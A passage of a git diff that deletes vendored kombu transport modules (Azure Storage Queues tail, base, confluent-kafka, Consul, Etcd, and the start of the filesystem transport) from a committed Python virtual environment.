credential.lower(): - if DefaultAzureCredential is None: - raise ImportError('Azure Storage Queues transport with a ' - 'DefaultAzureCredential requires the ' - 'azure-identity library') - credential = DefaultAzureCredential() - elif "ManagedIdentityCredential".lower() == credential.lower(): - if ManagedIdentityCredential is None: - raise ImportError('Azure Storage Queues transport with a ' - 'ManagedIdentityCredential requires the ' - 'azure-identity library') - credential = ManagedIdentityCredential() - elif "devstoreaccount1" in url and ".core.windows.net" not in url: - # parse credential as a dict if Azurite is being used - credential = { - "account_name": "devstoreaccount1", - "account_key": credential, - } - - # Validate parameters - assert all([credential, url]) - except Exception: - raise ValueError( - 'Need a URI like ' - 'azurestoragequeues://{SAS or access key}@{URL}, ' - 'azurestoragequeues://DefaultAzureCredential@{URL}, ' - ', or ' - 'azurestoragequeues://ManagedIdentityCredential@{URL}' - ) - - return credential, url - - @classmethod - def as_uri( - cls, uri: str, include_password: bool = False, mask: str = "**" - ) -> str: - credential, url = cls.parse_uri(uri) - return "azurestoragequeues://{}@{}".format( - credential if include_password else mask, url - ) diff --git a/venv/Lib/site-packages/kombu/transport/base.py b/venv/Lib/site-packages/kombu/transport/base.py deleted file mode 100644 index e52bcc600f5d722cf936bbae5364520ec3e3372b..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/transport/base.py +++ /dev/null @@ -1,271 +0,0 @@ -"""Base transport interface.""" -# flake8: noqa - - -from __future__ import annotations - -import errno -import socket -from typing import TYPE_CHECKING - -from amqp.exceptions import RecoverableConnectionError - -from kombu.exceptions import ChannelError, ConnectionError -from kombu.message import Message -from kombu.utils.functional import dictfilter -from kombu.utils.objects import cached_property -from kombu.utils.time import maybe_s_to_ms - -if TYPE_CHECKING: - from types import TracebackType - -__all__ = ('Message', 'StdChannel', 'Management', 'Transport') - -RABBITMQ_QUEUE_ARGUMENTS = { - 'expires': ('x-expires', maybe_s_to_ms), - 'message_ttl': ('x-message-ttl', maybe_s_to_ms), - 'max_length': ('x-max-length', int), - 'max_length_bytes': ('x-max-length-bytes', int), - 'max_priority': ('x-max-priority', int), -} # type: Mapping[str, Tuple[str, Callable]] - - -def to_rabbitmq_queue_arguments(arguments, **options): - # type: (Mapping, **Any) -> Dict - """Convert queue arguments to RabbitMQ queue arguments. - - This is the implementation for Channel.prepare_queue_arguments - for AMQP-based transports. It's used by both the pyamqp and librabbitmq - transports. - - Arguments: - arguments (Mapping): - User-supplied arguments (``Queue.queue_arguments``). - - Keyword Arguments: - expires (float): Queue expiry time in seconds. - This will be converted to ``x-expires`` in int milliseconds. - message_ttl (float): Message TTL in seconds. - This will be converted to ``x-message-ttl`` in int milliseconds. - max_length (int): Max queue length (in number of messages). - This will be converted to ``x-max-length`` int. - max_length_bytes (int): Max queue size in bytes. - This will be converted to ``x-max-length-bytes`` int. - max_priority (int): Max priority steps for queue. - This will be converted to ``x-max-priority`` int. - - Returns - ------- - Dict: RabbitMQ compatible queue arguments. - """ - prepared = dictfilter(dict( - _to_rabbitmq_queue_argument(key, value) - for key, value in options.items() - )) - return dict(arguments, **prepared) if prepared else arguments - - -def _to_rabbitmq_queue_argument(key, value): - # type: (str, Any) -> Tuple[str, Any] - opt, typ = RABBITMQ_QUEUE_ARGUMENTS[key] - return opt, typ(value) if value is not None else value - - -def _LeftBlank(obj, method): - return NotImplementedError( - 'Transport {0.__module__}.{0.__name__} does not implement {1}'.format( - obj.__class__, method)) - - -class StdChannel: - """Standard channel base class.""" - - no_ack_consumers = None - - def Consumer(self, *args, **kwargs): - from kombu.messaging import Consumer - return Consumer(self, *args, **kwargs) - - def Producer(self, *args, **kwargs): - from kombu.messaging import Producer - return Producer(self, *args, **kwargs) - - def get_bindings(self): - raise _LeftBlank(self, 'get_bindings') - - def after_reply_message_received(self, queue): - """Callback called after RPC reply received. - - Notes - ----- - Reply queue semantics: can be used to delete the queue - after transient reply message received. - """ - - def prepare_queue_arguments(self, arguments, **kwargs): - return arguments - - def __enter__(self): - return self - - def __exit__( - self, - exc_type: type[BaseException] | None, - exc_val: BaseException | None, - exc_tb: TracebackType | None - ) -> None: - self.close() - - -class Management: - """AMQP Management API (incomplete).""" - - def __init__(self, transport): - self.transport = transport - - def get_bindings(self): - raise _LeftBlank(self, 'get_bindings') - - -class Implements(dict): - """Helper class used to define transport features.""" - - def __getattr__(self, key): - try: - return self[key] - except KeyError: - raise AttributeError(key) - - def __setattr__(self, key, value): - self[key] = value - - def extend(self, **kwargs): - return self.__class__(self, **kwargs) - - -default_transport_capabilities = Implements( - asynchronous=False, - exchange_type=frozenset(['direct', 'topic', 'fanout', 'headers']), - heartbeats=False, -) - - -class Transport: - """Base class for transports.""" - - Management = Management - - #: The :class:`~kombu.Connection` owning this instance. - client = None - - #: Set to True if :class:`~kombu.Connection` should pass the URL - #: unmodified. - can_parse_url = False - - #: Default port used when no port has been specified. - default_port = None - - #: Tuple of errors that can happen due to connection failure. - connection_errors = (ConnectionError,) - - #: Tuple of errors that can happen due to channel/method failure. - channel_errors = (ChannelError,) - - #: Type of driver, can be used to separate transports - #: using the AMQP protocol (driver_type: 'amqp'), - #: Redis (driver_type: 'redis'), etc... - driver_type = 'N/A' - - #: Name of driver library (e.g. 'py-amqp', 'redis'). - driver_name = 'N/A' - - __reader = None - - implements = default_transport_capabilities.extend() - - def __init__(self, client, **kwargs): - self.client = client - - def establish_connection(self): - raise _LeftBlank(self, 'establish_connection') - - def close_connection(self, connection): - raise _LeftBlank(self, 'close_connection') - - def create_channel(self, connection): - raise _LeftBlank(self, 'create_channel') - - def close_channel(self, connection): - raise _LeftBlank(self, 'close_channel') - - def drain_events(self, connection, **kwargs): - raise _LeftBlank(self, 'drain_events') - - def heartbeat_check(self, connection, rate=2): - pass - - def driver_version(self): - return 'N/A' - - def get_heartbeat_interval(self, connection): - return 0 - - def register_with_event_loop(self, connection, loop): - pass - - def unregister_from_event_loop(self, connection, loop): - pass - - def verify_connection(self, connection): - return True - - def _make_reader(self, connection, timeout=socket.timeout, - error=socket.error, _unavail=(errno.EAGAIN, errno.EINTR)): - drain_events = connection.drain_events - - def _read(loop): - if not connection.connected: - raise RecoverableConnectionError('Socket was disconnected') - try: - drain_events(timeout=0) - except timeout: - return - except error as exc: - if exc.errno in _unavail: - return - raise - loop.call_soon(_read, loop) - - return _read - - def qos_semantics_matches_spec(self, connection): - return True - - def on_readable(self, connection, loop): - reader = self.__reader - if reader is None: - reader = self.__reader = self._make_reader(connection) - reader(loop) - - def as_uri(self, uri: str, include_password=False, mask='**') -> str: - """Customise the display format of the URI.""" - raise NotImplementedError() - - @property - def default_connection_params(self): - return {} - - def get_manager(self, *args, **kwargs): - return self.Management(self) - - @cached_property - def manager(self): - return self.get_manager() - - @property - def supports_heartbeats(self): - return self.implements.heartbeats - - @property - def supports_ev(self): - return self.implements.asynchronous diff --git a/venv/Lib/site-packages/kombu/transport/confluentkafka.py b/venv/Lib/site-packages/kombu/transport/confluentkafka.py deleted file mode 100644 index 9f52d573eaf4a88e1319ec13c23cc93246281ef3..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/transport/confluentkafka.py +++ /dev/null @@ -1,380 +0,0 @@ -"""confluent-kafka transport module for Kombu. - -Kafka transport using confluent-kafka library. - -**References** - -- http://docs.confluent.io/current/clients/confluent-kafka-python - -**Limitations** - -The confluent-kafka transport does not support PyPy environment. - -Features -======== -* Type: Virtual -* Supports Direct: Yes -* Supports Topic: Yes -* Supports Fanout: No -* Supports Priority: No -* Supports TTL: No - -Connection String -================= -Connection string has the following format: - -.. code-block:: - - confluentkafka://[USER:PASSWORD@]KAFKA_ADDRESS[:PORT] - -Transport Options -================= -* ``connection_wait_time_seconds`` - Time in seconds to wait for connection - to succeed. Default ``5`` -* ``wait_time_seconds`` - Time in seconds to wait to receive messages. - Default ``5`` -* ``security_protocol`` - Protocol used to communicate with broker. - Visit https://github.com/edenhill/librdkafka/blob/master/CONFIGURATION.md for - an explanation of valid values. Default ``plaintext`` -* ``sasl_mechanism`` - SASL mechanism to use for authentication. - Visit https://github.com/edenhill/librdkafka/blob/master/CONFIGURATION.md for - an explanation of valid values. -* ``num_partitions`` - Number of partitions to create. Default ``1`` -* ``replication_factor`` - Replication factor of partitions. Default ``1`` -* ``topic_config`` - Topic configuration. Must be a dict whose key-value pairs - correspond with attributes in the - http://kafka.apache.org/documentation.html#topicconfigs. -* ``kafka_common_config`` - Configuration applied to producer, consumer and - admin client. Must be a dict whose key-value pairs correspond with attributes - in the https://github.com/edenhill/librdkafka/blob/master/CONFIGURATION.md. -* ``kafka_producer_config`` - Producer configuration. Must be a dict whose - key-value pairs correspond with attributes in the - https://github.com/edenhill/librdkafka/blob/master/CONFIGURATION.md. -* ``kafka_consumer_config`` - Consumer configuration. Must be a dict whose - key-value pairs correspond with attributes in the - https://github.com/edenhill/librdkafka/blob/master/CONFIGURATION.md. -* ``kafka_admin_config`` - Admin client configuration. Must be a dict whose - key-value pairs correspond with attributes in the - https://github.com/edenhill/librdkafka/blob/master/CONFIGURATION.md. -""" - -from __future__ import annotations - -from queue import Empty - -from kombu.transport import virtual -from kombu.utils import cached_property -from kombu.utils.encoding import str_to_bytes -from kombu.utils.json import dumps, loads - -try: - import confluent_kafka - from confluent_kafka import (Consumer, KafkaException, Producer, - TopicPartition) - from confluent_kafka.admin import AdminClient, NewTopic - - KAFKA_CONNECTION_ERRORS = () - KAFKA_CHANNEL_ERRORS = () - -except ImportError: - confluent_kafka = None - KAFKA_CONNECTION_ERRORS = KAFKA_CHANNEL_ERRORS = () - -from kombu.log import get_logger - -logger = get_logger(__name__) - -DEFAULT_PORT = 9092 - - -class NoBrokersAvailable(KafkaException): - """Kafka broker is not available exception.""" - - retriable = True - - -class Message(virtual.Message): - """Message object.""" - - def __init__(self, payload, channel=None, **kwargs): - self.topic = payload.get('topic') - super().__init__(payload, channel=channel, **kwargs) - - -class QoS(virtual.QoS): - """Quality of Service guarantees.""" - - _not_yet_acked = {} - - def can_consume(self): - """Return true if the channel can be consumed from. - - :returns: True, if this QoS object can accept a message. - :rtype: bool - """ - return not self.prefetch_count or len(self._not_yet_acked) < self \ - .prefetch_count - - def can_consume_max_estimate(self): - if self.prefetch_count: - return self.prefetch_count - len(self._not_yet_acked) - else: - return 1 - - def append(self, message, delivery_tag): - self._not_yet_acked[delivery_tag] = message - - def get(self, delivery_tag): - return self._not_yet_acked[delivery_tag] - - def ack(self, delivery_tag): - if delivery_tag not in self._not_yet_acked: - return - message = self._not_yet_acked.pop(delivery_tag) - consumer = self.channel._get_consumer(message.topic) - consumer.commit() - - def reject(self, delivery_tag, requeue=False): - """Reject a message by delivery tag. - - If requeue is True, then the last consumed message is reverted so - it'll be refetched on the next attempt. - If False, that message is consumed and ignored. - """ - if requeue: - message = self._not_yet_acked.pop(delivery_tag) - consumer = self.channel._get_consumer(message.topic) - for assignment in consumer.assignment(): - topic_partition = TopicPartition(message.topic, - assignment.partition) - [committed_offset] = consumer.committed([topic_partition]) - consumer.seek(committed_offset) - else: - self.ack(delivery_tag) - - def restore_unacked_once(self, stderr=None): - pass - - -class Channel(virtual.Channel): - """Kafka Channel.""" - - QoS = QoS - Message = Message - - default_wait_time_seconds = 5 - default_connection_wait_time_seconds = 5 - _client = None - - def __init__(self, *args, **kwargs): - super().__init__(*args, **kwargs) - - self._kafka_consumers = {} - self._kafka_producers = {} - - self._client = self._open() - - def sanitize_queue_name(self, queue): - """Need to sanitize the name, celery sometimes pushes in @ signs.""" - return str(queue).replace('@', '') - - def _get_producer(self, queue): - """Create/get a producer instance for the given topic/queue.""" - queue = self.sanitize_queue_name(queue) - producer = self._kafka_producers.get(queue, None) - if producer is None: - producer = Producer({ - **self.common_config, - **(self.options.get('kafka_producer_config') or {}), - }) - self._kafka_producers[queue] = producer - - return producer - - def _get_consumer(self, queue): - """Create/get a consumer instance for the given topic/queue.""" - queue = self.sanitize_queue_name(queue) - consumer = self._kafka_consumers.get(queue, None) - if consumer is None: - consumer = Consumer({ - 'group.id': f'{queue}-consumer-group', - 'auto.offset.reset': 'earliest', - 'enable.auto.commit': False, - **self.common_config, - **(self.options.get('kafka_consumer_config') or {}), - }) - consumer.subscribe([queue]) - self._kafka_consumers[queue] = consumer - - return consumer - - def _put(self, queue, message, **kwargs): - """Put a message on the topic/queue.""" - queue = self.sanitize_queue_name(queue) - producer = self._get_producer(queue) - producer.produce(queue, str_to_bytes(dumps(message))) - producer.flush() - - def _get(self, queue, **kwargs): - """Get a message from the topic/queue.""" - queue = self.sanitize_queue_name(queue) - consumer = self._get_consumer(queue) - message = None - - try: - message = consumer.poll(self.wait_time_seconds) - except StopIteration: - pass - - if not message: - raise Empty() - - error = message.error() - if error: - logger.error(error) - raise Empty() - - return {**loads(message.value()), 'topic': message.topic()} - - def _delete(self, queue, *args, **kwargs): - """Delete a queue/topic.""" - queue = self.sanitize_queue_name(queue) - self._kafka_consumers[queue].close() - self._kafka_consumers.pop(queue) - self.client.delete_topics([queue]) - - def _size(self, queue): - """Get the number of pending messages in the topic/queue.""" - queue = self.sanitize_queue_name(queue) - - consumer = self._kafka_consumers.get(queue, None) - if consumer is None: - return 0 - - size = 0 - for assignment in consumer.assignment(): - topic_partition = TopicPartition(queue, assignment.partition) - (_, end_offset) = consumer.get_watermark_offsets(topic_partition) - [committed_offset] = consumer.committed([topic_partition]) - size += end_offset - committed_offset.offset - return size - - def _new_queue(self, queue, **kwargs): - """Create a new topic if it does not exist.""" - queue = self.sanitize_queue_name(queue) - if queue in self.client.list_topics().topics: - return - - topic = NewTopic( - queue, - num_partitions=self.options.get('num_partitions', 1), - replication_factor=self.options.get('replication_factor', 1), - config=self.options.get('topic_config', {}) - ) - self.client.create_topics(new_topics=[topic]) - - def _has_queue(self, queue, **kwargs): - """Check if a topic already exists.""" - queue = self.sanitize_queue_name(queue) - return queue in self.client.list_topics().topics - - def _open(self): - client = AdminClient({ - **self.common_config, - **(self.options.get('kafka_admin_config') or {}), - }) - - try: - # seems to be the only way to check connection - client.list_topics(timeout=self.wait_time_seconds) - except confluent_kafka.KafkaException as e: - raise NoBrokersAvailable(e) - - return client - - @property - def client(self): - if self._client is None: - self._client = self._open() - return self._client - - @property - def options(self): - return self.connection.client.transport_options - - @property - def conninfo(self): - return self.connection.client - - @cached_property - def wait_time_seconds(self): - return self.options.get( - 'wait_time_seconds', self.default_wait_time_seconds - ) - - @cached_property - def connection_wait_time_seconds(self): - return self.options.get( - 'connection_wait_time_seconds', - self.default_connection_wait_time_seconds, - ) - - @cached_property - def common_config(self): - conninfo = self.connection.client - config = { - 'bootstrap.servers': - f'{conninfo.hostname}:{int(conninfo.port) or DEFAULT_PORT}', - } - security_protocol = self.options.get('security_protocol', 'plaintext') - if security_protocol.lower() != 'plaintext': - config.update({ - 'security.protocol': security_protocol, - 'sasl.username': conninfo.userid, - 'sasl.password': conninfo.password, - 'sasl.mechanism': self.options.get('sasl_mechanism'), - }) - - config.update(self.options.get('kafka_common_config') or {}) - return config - - def close(self): - super().close() - self._kafka_producers = {} - - for consumer in self._kafka_consumers.values(): - consumer.close() - - self._kafka_consumers = {} - - -class Transport(virtual.Transport): - """Kafka Transport.""" - - def as_uri(self, uri: str, include_password=False, mask='**') -> str: - pass - - Channel = Channel - - default_port = DEFAULT_PORT - - driver_type = 'kafka' - driver_name = 'confluentkafka' - - recoverable_connection_errors = ( - NoBrokersAvailable, - ) - - def __init__(self, client, **kwargs): - if confluent_kafka is None: - raise ImportError('The confluent-kafka library is not installed') - super().__init__(client, **kwargs) - - def driver_version(self): - return confluent_kafka.__version__ - - def establish_connection(self): - return super().establish_connection() - - def close_connection(self, connection): - return super().close_connection(connection) diff --git a/venv/Lib/site-packages/kombu/transport/consul.py b/venv/Lib/site-packages/kombu/transport/consul.py deleted file mode 100644 index 370a430278d05836bc31078096dc8cb435e510d0..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/transport/consul.py +++ /dev/null @@ -1,323 +0,0 @@ -"""Consul Transport module for Kombu. - -Features -======== - -It uses Consul.io's Key/Value store to transport messages in Queues - -It uses python-consul for talking to Consul's HTTP API - -Features -======== -* Type: Native -* Supports Direct: Yes -* Supports Topic: *Unreviewed* -* Supports Fanout: *Unreviewed* -* Supports Priority: *Unreviewed* -* Supports TTL: *Unreviewed* - -Connection String -================= - -Connection string has the following format: - -.. code-block:: - - consul://CONSUL_ADDRESS[:PORT] - -""" - -from __future__ import annotations - -import socket -import uuid -from collections import defaultdict -from contextlib import contextmanager -from queue import Empty -from time import monotonic - -from kombu.exceptions import ChannelError -from kombu.log import get_logger -from kombu.utils.json import dumps, loads -from kombu.utils.objects import cached_property - -from . import virtual - -try: - import consul -except ImportError: - consul = None - -logger = get_logger('kombu.transport.consul') - -DEFAULT_PORT = 8500 -DEFAULT_HOST = 'localhost' - - -class LockError(Exception): - """An error occurred while trying to acquire the lock.""" - - -class Channel(virtual.Channel): - """Consul Channel class which talks to the Consul Key/Value store.""" - - prefix = 'kombu' - index = None - timeout = '10s' - session_ttl = 30 - - def __init__(self, *args, **kwargs): - if consul is None: - raise ImportError('Missing python-consul library') - - super().__init__(*args, **kwargs) - - port = self.connection.client.port or self.connection.default_port - host = self.connection.client.hostname or DEFAULT_HOST - - logger.debug('Host: %s Port: %s Timeout: %s', host, port, self.timeout) - - self.queues = defaultdict(dict) - - self.client = consul.Consul(host=host, port=int(port)) - - def _lock_key(self, queue): - return f'{self.prefix}/{queue}.lock' - - def _key_prefix(self, queue): - return f'{self.prefix}/{queue}' - - def _get_or_create_session(self, queue): - """Get or create consul session. - - Try to renew the session if it exists, otherwise create a new - session in Consul. - - This session is used to acquire a lock inside Consul so that we achieve - read-consistency between the nodes. - - Arguments: - --------- - queue (str): The name of the Queue. - - Returns - ------- - str: The ID of the session. - """ - try: - session_id = self.queues[queue]['session_id'] - except KeyError: - session_id = None - return (self._renew_existing_session(session_id) - if session_id is not None else self._create_new_session()) - - def _renew_existing_session(self, session_id): - logger.debug('Trying to renew existing session %s', session_id) - session = self.client.session.renew(session_id=session_id) - return session.get('ID') - - def _create_new_session(self): - logger.debug('Creating session %s with TTL %s', - self.lock_name, self.session_ttl) - session_id = self.client.session.create( - name=self.lock_name, ttl=self.session_ttl) - logger.debug('Created session %s with id %s', - self.lock_name, session_id) - return session_id - - @contextmanager - def _queue_lock(self, queue, raising=LockError): - """Try to acquire a lock on the Queue. - - It does so by creating a object called 'lock' which is locked by the - current session.. - - This way other nodes are not able to write to the lock object which - means that they have to wait before the lock is released. - - Arguments: - --------- - queue (str): The name of the Queue. - raising (Exception): Set custom lock error class. - - Raises - ------ - LockError: if the lock cannot be acquired. - - Returns - ------- - bool: success? - """ - self._acquire_lock(queue, raising=raising) - try: - yield - finally: - self._release_lock(queue) - - def _acquire_lock(self, queue, raising=LockError): - session_id = self._get_or_create_session(queue) - lock_key = self._lock_key(queue) - - logger.debug('Trying to create lock object %s with session %s', - lock_key, session_id) - - if self.client.kv.put(key=lock_key, - acquire=session_id, - value=self.lock_name): - self.queues[queue]['session_id'] = session_id - return - logger.info('Could not acquire lock on key %s', lock_key) - raise raising() - - def _release_lock(self, queue): - """Try to release a lock. - - It does so by simply removing the lock key in Consul. - - Arguments: - --------- - queue (str): The name of the queue we want to release - the lock from. - """ - logger.debug('Removing lock key %s', self._lock_key(queue)) - self.client.kv.delete(key=self._lock_key(queue)) - - def _destroy_session(self, queue): - """Destroy a previously created Consul session. - - Will release all locks it still might hold. - - Arguments: - --------- - queue (str): The name of the Queue. - """ - logger.debug('Destroying session %s', self.queues[queue]['session_id']) - self.client.session.destroy(self.queues[queue]['session_id']) - - def _new_queue(self, queue, **_): - self.queues[queue] = {'session_id': None} - return self.client.kv.put(key=self._key_prefix(queue), value=None) - - def _delete(self, queue, *args, **_): - self._destroy_session(queue) - self.queues.pop(queue, None) - self._purge(queue) - - def _put(self, queue, payload, **_): - """Put `message` onto `queue`. - - This simply writes a key to the K/V store of Consul - """ - key = '{}/msg/{}_{}'.format( - self._key_prefix(queue), - int(round(monotonic() * 1000)), - uuid.uuid4(), - ) - if not self.client.kv.put(key=key, value=dumps(payload), cas=0): - raise ChannelError(f'Cannot add key {key!r} to consul') - - def _get(self, queue, timeout=None): - """Get the first available message from the queue. - - Before it does so it acquires a lock on the Key/Value store so - only one node reads at the same time. This is for read consistency - """ - with self._queue_lock(queue, raising=Empty): - key = f'{self._key_prefix(queue)}/msg/' - logger.debug('Fetching key %s with index %s', key, self.index) - self.index, data = self.client.kv.get( - key=key, recurse=True, - index=self.index, wait=self.timeout, - ) - - try: - if data is None: - raise Empty() - - logger.debug('Removing key %s with modifyindex %s', - data[0]['Key'], data[0]['ModifyIndex']) - - self.client.kv.delete(key=data[0]['Key'], - cas=data[0]['ModifyIndex']) - - return loads(data[0]['Value']) - except TypeError: - pass - - raise Empty() - - def _purge(self, queue): - self._destroy_session(queue) - return self.client.kv.delete( - key=f'{self._key_prefix(queue)}/msg/', - recurse=True, - ) - - def _size(self, queue): - size = 0 - try: - key = f'{self._key_prefix(queue)}/msg/' - logger.debug('Fetching key recursively %s with index %s', - key, self.index) - self.index, data = self.client.kv.get( - key=key, recurse=True, - index=self.index, wait=self.timeout, - ) - size = len(data) - except TypeError: - pass - - logger.debug('Found %s keys under %s with index %s', - size, key, self.index) - return size - - @cached_property - def lock_name(self): - return f'{socket.gethostname()}' - - -class Transport(virtual.Transport): - """Consul K/V storage Transport for Kombu.""" - - Channel = Channel - - default_port = DEFAULT_PORT - driver_type = 'consul' - driver_name = 'consul' - - if consul: - connection_errors = ( - virtual.Transport.connection_errors + ( - consul.ConsulException, consul.base.ConsulException - ) - ) - - channel_errors = ( - virtual.Transport.channel_errors + ( - consul.ConsulException, consul.base.ConsulException - ) - ) - - def __init__(self, *args, **kwargs): - if consul is None: - raise ImportError('Missing python-consul library') - - super().__init__(*args, **kwargs) - - def verify_connection(self, connection): - port = connection.client.port or self.default_port - host = connection.client.hostname or DEFAULT_HOST - - logger.debug('Verify Consul connection to %s:%s', host, port) - - try: - client = consul.Consul(host=host, port=int(port)) - client.agent.self() - return True - except ValueError: - pass - - return False - - def driver_version(self): - return consul.__version__ diff --git a/venv/Lib/site-packages/kombu/transport/etcd.py b/venv/Lib/site-packages/kombu/transport/etcd.py deleted file mode 100644 index aa4771b79556956d03b807650193f1effcad8f91..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/transport/etcd.py +++ /dev/null @@ -1,300 +0,0 @@ -"""Etcd Transport module for Kombu. - -It uses Etcd as a store to transport messages in Queues - -It uses python-etcd for talking to Etcd's HTTP API - -Features -======== -* Type: Virtual -* Supports Direct: *Unreviewed* -* Supports Topic: *Unreviewed* -* Supports Fanout: *Unreviewed* -* Supports Priority: *Unreviewed* -* Supports TTL: *Unreviewed* - -Connection String -================= - -Connection string has the following format: - -.. code-block:: - - 'etcd'://SERVER:PORT - -""" - -from __future__ import annotations - -import os -import socket -from collections import defaultdict -from contextlib import contextmanager -from queue import Empty - -from kombu.exceptions import ChannelError -from kombu.log import get_logger -from kombu.utils.json import dumps, loads -from kombu.utils.objects import cached_property - -from . import virtual - -try: - import etcd -except ImportError: - etcd = None - -logger = get_logger('kombu.transport.etcd') - -DEFAULT_PORT = 2379 -DEFAULT_HOST = 'localhost' - - -class Channel(virtual.Channel): - """Etcd Channel class which talks to the Etcd.""" - - prefix = 'kombu' - index = None - timeout = 10 - session_ttl = 30 - lock_ttl = 10 - - def __init__(self, *args, **kwargs): - if etcd is None: - raise ImportError('Missing python-etcd library') - - super().__init__(*args, **kwargs) - - port = self.connection.client.port or self.connection.default_port - host = self.connection.client.hostname or DEFAULT_HOST - - logger.debug('Host: %s Port: %s Timeout: %s', host, port, self.timeout) - - self.queues = defaultdict(dict) - - self.client = etcd.Client(host=host, port=int(port)) - - def _key_prefix(self, queue): - """Create and return the `queue` with the proper prefix. - - Arguments: - --------- - queue (str): The name of the queue. - """ - return f'{self.prefix}/{queue}' - - @contextmanager - def _queue_lock(self, queue): - """Try to acquire a lock on the Queue. - - It does so by creating a object called 'lock' which is locked by the - current session.. - - This way other nodes are not able to write to the lock object which - means that they have to wait before the lock is released. - - Arguments: - --------- - queue (str): The name of the queue. - """ - lock = etcd.Lock(self.client, queue) - lock._uuid = self.lock_value - logger.debug(f'Acquiring lock {lock.name}') - lock.acquire(blocking=True, lock_ttl=self.lock_ttl) - try: - yield - finally: - logger.debug(f'Releasing lock {lock.name}') - lock.release() - - def _new_queue(self, queue, **_): - """Create a new `queue` if the `queue` doesn't already exist. - - Arguments: - --------- - queue (str): The name of the queue. - """ - self.queues[queue] = queue - with self._queue_lock(queue): - try: - return self.client.write( - key=self._key_prefix(queue), dir=True, value=None) - except etcd.EtcdNotFile: - logger.debug(f'Queue "{queue}" already exists') - return self.client.read(key=self._key_prefix(queue)) - - def _has_queue(self, queue, **kwargs): - """Verify that queue exists. - - Returns - ------- - bool: Should return :const:`True` if the queue exists - or :const:`False` otherwise. - """ - try: - self.client.read(self._key_prefix(queue)) - return True - except etcd.EtcdKeyNotFound: - return False - - def _delete(self, queue, *args, **_): - """Delete a `queue`. - - Arguments: - --------- - queue (str): The name of the queue. - """ - self.queues.pop(queue, None) - self._purge(queue) - - def _put(self, queue, payload, **_): - """Put `message` onto `queue`. - - This simply writes a key to the Etcd store - - Arguments: - --------- - queue (str): The name of the queue. - payload (dict): Message data which will be dumped to etcd. - """ - with self._queue_lock(queue): - key = self._key_prefix(queue) - if not self.client.write( - key=key, - value=dumps(payload), - append=True): - raise ChannelError(f'Cannot add key {key!r} to etcd') - - def _get(self, queue, timeout=None): - """Get the first available message from the queue. - - Before it does so it acquires a lock on the store so - only one node reads at the same time. This is for read consistency - - Arguments: - --------- - queue (str): The name of the queue. - timeout (int): Optional seconds to wait for a response. - """ - with self._queue_lock(queue): - key = self._key_prefix(queue) - logger.debug('Fetching key %s with index %s', key, self.index) - - try: - result = self.client.read( - key=key, recursive=True, - index=self.index, timeout=self.timeout) - - if result is None: - raise Empty() - - item = result._children[-1] - logger.debug('Removing key {}'.format(item['key'])) - - msg_content = loads(item['value']) - self.client.delete(key=item['key']) - return msg_content - except (TypeError, IndexError, etcd.EtcdException) as error: - logger.debug(f'_get failed: {type(error)}:{error}') - - raise Empty() - - def _purge(self, queue): - """Remove all `message`s from a `queue`. - - Arguments: - --------- - queue (str): The name of the queue. - """ - with self._queue_lock(queue): - key = self._key_prefix(queue) - logger.debug(f'Purging queue at key {key}') - return self.client.delete(key=key, recursive=True) - - def _size(self, queue): - """Return the size of the `queue`. - - Arguments: - --------- - queue (str): The name of the queue. - """ - with self._queue_lock(queue): - size = 0 - try: - key = self._key_prefix(queue) - logger.debug('Fetching key recursively %s with index %s', - key, self.index) - result = self.client.read( - key=key, recursive=True, - index=self.index) - size = len(result._children) - except TypeError: - pass - - logger.debug('Found %s keys under %s with index %s', - size, key, self.index) - return size - - @cached_property - def lock_value(self): - return f'{socket.gethostname()}.{os.getpid()}' - - -class Transport(virtual.Transport): - """Etcd storage Transport for Kombu.""" - - Channel = Channel - - default_port = DEFAULT_PORT - driver_type = 'etcd' - driver_name = 'python-etcd' - polling_interval = 3 - - implements = virtual.Transport.implements.extend( - exchange_type=frozenset(['direct'])) - - if etcd: - connection_errors = ( - virtual.Transport.connection_errors + (etcd.EtcdException, ) - ) - - channel_errors = ( - virtual.Transport.channel_errors + (etcd.EtcdException, ) - ) - - def __init__(self, *args, **kwargs): - """Create a new instance of etcd.Transport.""" - if etcd is None: - raise ImportError('Missing python-etcd library') - - super().__init__(*args, **kwargs) - - def verify_connection(self, connection): - """Verify the connection works.""" - port = connection.client.port or self.default_port - host = connection.client.hostname or DEFAULT_HOST - - logger.debug('Verify Etcd connection to %s:%s', host, port) - - try: - etcd.Client(host=host, port=int(port)) - return True - except ValueError: - pass - - return False - - def driver_version(self): - """Return the version of the etcd library. - - .. note:: - python-etcd has no __version__. This is a workaround. - """ - try: - import pip.commands.freeze - for x in pip.commands.freeze.freeze(): - if x.startswith('python-etcd'): - return x.split('==')[1] - except (ImportError, IndexError): - logger.warning('Unable to find the python-etcd version.') - return 'Unknown' diff --git a/venv/Lib/site-packages/kombu/transport/filesystem.py b/venv/Lib/site-packages/kombu/transport/filesystem.py deleted file mode 100644 index 9d2b35819a025fcf652089ffe8122b7a227d79a9..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/transport/filesystem.py +++ /dev/null @@ -1,352 +0,0 @@ -"""File-system Transport module for kombu. - -Transport using the file-system as the message store. Messages written to the -queue are stored in `data_folder_in` directory and -messages read from the queue are read from `data_folder_out` directory. Both -directories must be created manually. Simple example: - -* Producer: - -.. code-block:: python - - import kombu - - conn = kombu.Connection( - 'filesystem://', transport_options={ - 'data_folder_in': 'data_in', 'data_folder_out': 'data_out' - } - ) - conn.connect() - - test_queue = kombu.Queue('test', routing_key='test') - - with conn as conn: - with conn.default_channel as channel: - producer = kombu.Producer(channel) - producer.publish( - {'hello': 'world'}, - retry=True, - exchange=test_queue.exchange, - routing_key=test_queue.routing_key, - declare=[test_queue], - serializer='pickle' - ) - -* Consumer: - -.. code-block:: python - - import kombu - - conn = kombu.Connection( - 'filesystem://', transport_options={ - 'data_folder_in': 'data_out', 'data_folder_out': 'data_in' - } - ) - conn.connect() - - def callback(body, message): - print(body, message) - message.ack() - - test_queue = kombu.Queue('test', routing_key='test') - - with conn as conn: - with conn.default_channel as channel: - consumer = kombu.Consumer( - conn, [test_queue], accept=['pickle'] - ) - consumer.register_callback(callback) - with consumer: - conn.drain_events(timeout=1) - -Features -======== -* Type: Virtual -* Supports Direct: Yes -* Supports Topic: Yes -* Supports Fanout: Yes -* Supports Priority: No -* Supports TTL: No - 